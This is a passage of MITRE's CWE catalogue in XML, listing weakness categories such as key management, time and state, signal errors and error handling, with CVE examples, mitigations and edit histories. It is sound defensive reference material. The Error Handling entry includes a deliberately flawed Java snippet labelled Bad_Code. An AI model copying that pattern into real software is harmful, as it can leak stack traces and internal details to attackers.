			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This category should probably be split into multiple
						sub-categories.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2146</Observed_Example_Reference>
					          <Observed_Example_Description>insecure permissions when generating secret key,
						allowing spoofing</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1527</Observed_Example_Reference>
					          <Observed_Example_Description>administration passwords in cleartext in
						executable</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0762</Observed_Example_Reference>
					          <Observed_Example_Description>default installation of product uses a default
						encryption key, allowing others to spoof the
						administrator</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1947</Observed_Example_Reference>
					          <Observed_Example_Description>static key / global shared key -- "global shared
						key" - product uses same SSL key for all installations, allowing attackers
						to eavesdrop or hijack session.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-4002</Observed_Example_Reference>
					          <Observed_Example_Description>static key / global shared key -- "global shared
						key" - product uses same secret key for all installations, allowing
						attackers to decrypt data.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2196</Observed_Example_Reference>
					          <Observed_Example_Description>static key / global shared key -- Product uses
						default WEP key when not connected to a known or trusted network, which can
						cause it to automatically connect to a malicious network. Overlaps:
						default.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-1794</Observed_Example_Reference>
					          <Observed_Example_Description>Exposed or accessible private key (overlaps
						information exposure) -- Private key stored in
						executable</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0072</Observed_Example_Reference>
					          <Observed_Example_Description>Exposed or accessible private key (overlaps
						information exposure) -- Crypto program imports both public and private keys
						but does not tell the user about the private keys, possibly breaking the web
						of trust.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-3256</Observed_Example_Reference>
					          <Observed_Example_Description>Misc -- Encryption product accidentally selects
						the wrong key if the key doesn't have additional fields that are normally
						expected, allowing the owner of the wrong key to decrypt the
						data.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Key Management Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Maintenance_Notes, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="355" Name="User Interface Security Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to or introduced in the
					User Interface (UI).</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>254</Relationship_Target_ID>
					          <!--Security Features-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>User interface errors that are relevant to security have not been studied
						at a high level.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>(UI) User Interface Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="361" Name="Time and State" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the improper
					management of time and state in an environment that supports simultaneous or
					near-simultaneous computation by multiple systems, processes, or
					threads.</Description_Summary>
				        <Extended_Description>
					          <Text>Distributed computation is about time and state. That is, in order for
						more than one component to communicate, state must be shared, and all that
						takes time. Most programmers anthropomorphize their work. They think about
						one thread of control carrying out the entire program in the same way they
						would if they had to do the job themselves. Modern computers, however,
						switch between tasks very quickly, and in multi-core, multi-CPU, or
						distributed systems, two events may take place at exactly the same time.
						Defects rush to fill the gap between the programmer's model of how a program
						executes and what happens in reality. These defects are related to
						unexpected interactions between threads, processes, time, and information.
						These interactions happen through shared state: semaphores, variables, the
						file system, and, basically, anything that can store information.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
			      </Relationships>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Time and State</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>196</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>61</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="371" Name="State Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper management
					of system state.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
			      </Relationships>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>74</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="376" Name="Temporary File Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					temporary files.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">700</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>632</Relationship_Target_ID>
					          <!--Weaknesses that Affect Files or Directories-->
				</Relationship>
			      </Relationships>
			      <Affected_Resources>
				        <Affected_Resource>File/Directory</Affected_Resource>
			      </Affected_Resources>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="380" Name="Technology-Specific Time and State Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					time or state within particular technologies.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="381" Name="J2EE Time and State Issues" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper handling of
					time or state within J2EE.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>380</Relationship_Target_ID>
					          <!--Technology-Specific Time and State Issues-->
				</Relationship>
			      </Relationships>
			      <Content_History>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-12-13</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="387" Name="Signal Errors" Status="Incomplete">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to the improper
					handling of signals.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>361</Relationship_Target_ID>
					          <!--Time and State-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">631</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>634</Relationship_Target_ID>
					          <!--Weaknesses that Affect System Processes-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language Language_Name="C"/>
					          <Language Language_Name="C++"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>Several sub-categories could exist, but this needs more study. Some
						sub-categories might be unhandled signals, untrusted signals, and sending
						the wrong signals.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-2039</Observed_Example_Reference>
					          <Observed_Example_Description>unhandled SIGSERV signal allows core
						dump</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1224</Observed_Example_Reference>
					          <Observed_Example_Description>SIGABRT (abort) signal not properly handled,
						causing core dump.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-1014</Observed_Example_Reference>
					          <Observed_Example_Description>Remote attackers cause a crash using early
						connection termination, which generates SIGPIPE
						signal.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2377</Observed_Example_Reference>
					          <Observed_Example_Description>Library does not handle a SIGPIPE signal when a
						server becomes available during a search query. Overlaps unchecked error
						condition?</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-0839</Observed_Example_Reference>
					          <Observed_Example_Description>SIGUSR1 can be sent as root from non-root
						process.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1441</Observed_Example_Reference>
					          <Observed_Example_Description>Kernel does not prevent users from sending SIGIO
						signal, which causes crash in applications that do not handle it. Overlaps
						privileges.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0747</Observed_Example_Reference>
					          <Observed_Example_Description>Script sends wrong signal to a process and kills
						it.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1326</Observed_Example_Reference>
					          <Observed_Example_Description>Interruption of operation causes signal to be
						handled incorrectly, leading to crash.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1180</Observed_Example_Reference>
					          <Observed_Example_Description>Shared signal handlers not cleared when executing
						a process. Overlaps initialization error.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2069</Observed_Example_Reference>
					          <Observed_Example_Description>Privileged process does not properly signal
						unprivileged process after session termination, leading to connection
						consumption.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-2259</Observed_Example_Reference>
					          <Observed_Example_Description>SIGCHLD signal to FTP server can cause crash under
						heavy load while executing non-reentrant functions like malloc/free.
						Possibly signal handler race condition?</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-0893</Observed_Example_Reference>
					          <Observed_Example_Description>Certain signals implemented with unsafe library
						calls.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Affected_Resources>
				        <Affected_Resource>System Process</Affected_Resource>
			      </Affected_Resources>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Signal Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Applicable_Platforms, Description,
						Maintenance_Notes, Relationships, Observed_Example, Other_Notes,
						Taxonomy_Mappings, Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-07-27</Modification_Date>
					          <Modification_Comment>updated Observed_Examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="388" Name="Error Handling" Status="Draft">
			      <Description>
				        <Description_Summary>This category includes weaknesses that occur when an
					application does not properly handle errors that occur during
					processing.</Description_Summary>
				        <Extended_Description>
					          <Text>An attacker may discover this type of error, as forcing these errors can
						occur with a variety of corrupt input.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>18</Relationship_Target_ID>
					          <!--Source Code-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">711</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>728</Relationship_Target_ID>
					          <!--OWASP Top Ten 2004 Category A7 - Improper Error Handling-->
				</Relationship>
			      </Relationships>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Integrity</Consequence_Scope>
					          <Consequence_Scope>Confidentiality</Consequence_Scope>
					          <Consequence_Technical_Impact>Read application
						data</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Modify files or
						directories</Consequence_Technical_Impact>
					          <Consequence_Note>
						            <Text>Generally, the consequences of improper error handling are the
							disclosure of the internal workings of the application to the attacker,
							providing details to use in further attacks. Web applications that do
							not properly handle error conditions frequently generate error messages
							such as stack traces, detailed diagnostics, and other inner details of
							the application.</Text>
					          </Consequence_Note>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Use a standard exception handling mechanism to be sure that your
							application properly handles all types of processing errors. All error
							messages sent to the user should contain as little detail as necessary
							to explain what happened.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>If the error was caused by unexpected and likely malicious input, it
							may be appropriate to send the user no error message other than a simple
							"could not process the request" response.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>The details of the error and its cause should be recorded in a
							detailed diagnostic log for later analysis. Do not allow the application
							to throw errors up to the application container, generally the web
							application server.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Description>
						            <Text>Be sure that the container is properly configured to handle errors if
							you choose to let any errors propagate up to it.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the snippet below, an unchecked runtime exception thrown from
						within the try block may cause the container to display its default error
						page (which may contain a full stack trace, among other
						things).</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Bad_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>Public void doPost(HttpServletRequest request, HttpServletResponse
								response) throws ServletException, IOException {</Code>
							              <Block>
								                <Code>try {</Code>
								                <Block>
									                  <Code>...</Code>
								                </Block>
								                <Code>}</Code>
								                <Code>catch (ApplicationSpecificException ase) {</Code>
								                <Block>
									                  <Code>logger.error("Caught: " + ase.toString());</Code>
								                </Block>
								                <Code>}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <References>
				        <Reference Reference_ID="REF-17">
					          <Reference_Author>Michael Howard</Reference_Author>
					          <Reference_Author>David LeBlanc</Reference_Author>
					          <Reference_Author>John Viega</Reference_Author>
					          <Reference_Title>24 Deadly Sins of Software Security</Reference_Title>
					          <Reference_Section>"Sin 11: Failure to Handle Errors Correctly." Page
						183</Reference_Section>
					          <Reference_Publication>McGraw-Hill</Reference_Publication>
					          <Reference_PubDate>2010</Reference_PubDate>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="7 Pernicious Kingdoms">
					          <Mapped_Node_Name>Error Handling</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="OWASP Top Ten 2004">
					          <Mapped_Node_Name>Improper Error Handling</Mapped_Node_Name>
					          <Mapped_Node_ID>A7</Mapped_Node_ID>
					          <Mapping_Fit>CWE_More_Specific</Mapping_Fit>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>214</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>28</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>7 Pernicious Kingdoms</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Sean Eidemiller</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>added/updated demonstrative
						examples</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Common_Consequences, Description, Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-03-10</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-10-29</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-04-05</Modification_Date>
					          <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated References</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="389" Name="Error Conditions, Return Values, Status Codes" Status="Incomplete">
			      <Description>
				        <Description_Summary>If a function in a product does not generate the correct
					return/status codes, or if the product does not handle all possible
					return/status codes that could be generated by a function, then security issues
					may result.</Description_Summary>
				        <Extended_Description>
					          <Text>This type of problem is most often found in conditions that are rarely
						encountered during the normal operation of the product. Presumably, most
						bugs related to common conditions are found and eliminated during
						development and testing. In some cases, the attacker can directly control or
						influence the environment to trigger the rare conditions.</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>388</Relationship_Target_ID>
					          <!--Error Handling-->
				</Relationship>
			      </Relationships>
			      <Weakness_Ordinalities>
				        <Weakness_Ordinality>
					          <Ordinality>Primary</Ordinality>
				        </Weakness_Ordinality>
			      </Weakness_Ordinalities>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>Many researchers focus on the resultant weaknesses and do not necessarily
						diagnose whether a rare condition is the primary factor. However, since 2005
						it seems to be reported more frequently than in the past. This subject needs
						more study.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Error Conditions, Return Values, Status
						Codes</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Weakness_Ordinalities</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Category>
                    <Category ID="399" Name="Resource Management Errors" Status="Draft">
			      <Description>
				        <Description_Summary>Weaknesses in this category are related to improper management
					of system resources.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>398</Relationship_Target_ID>
					          <!--Indicator of Poor Code Quality-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Other_Notes>
				        <Note>
					          <Text>Resource management errors can lead to consumption, exhaustion,
						etc.</Text>
					          <Text>Often a resultant vulnerability</Text>
				        </Note>
			      </Other_Notes>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Resource Management Errors</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
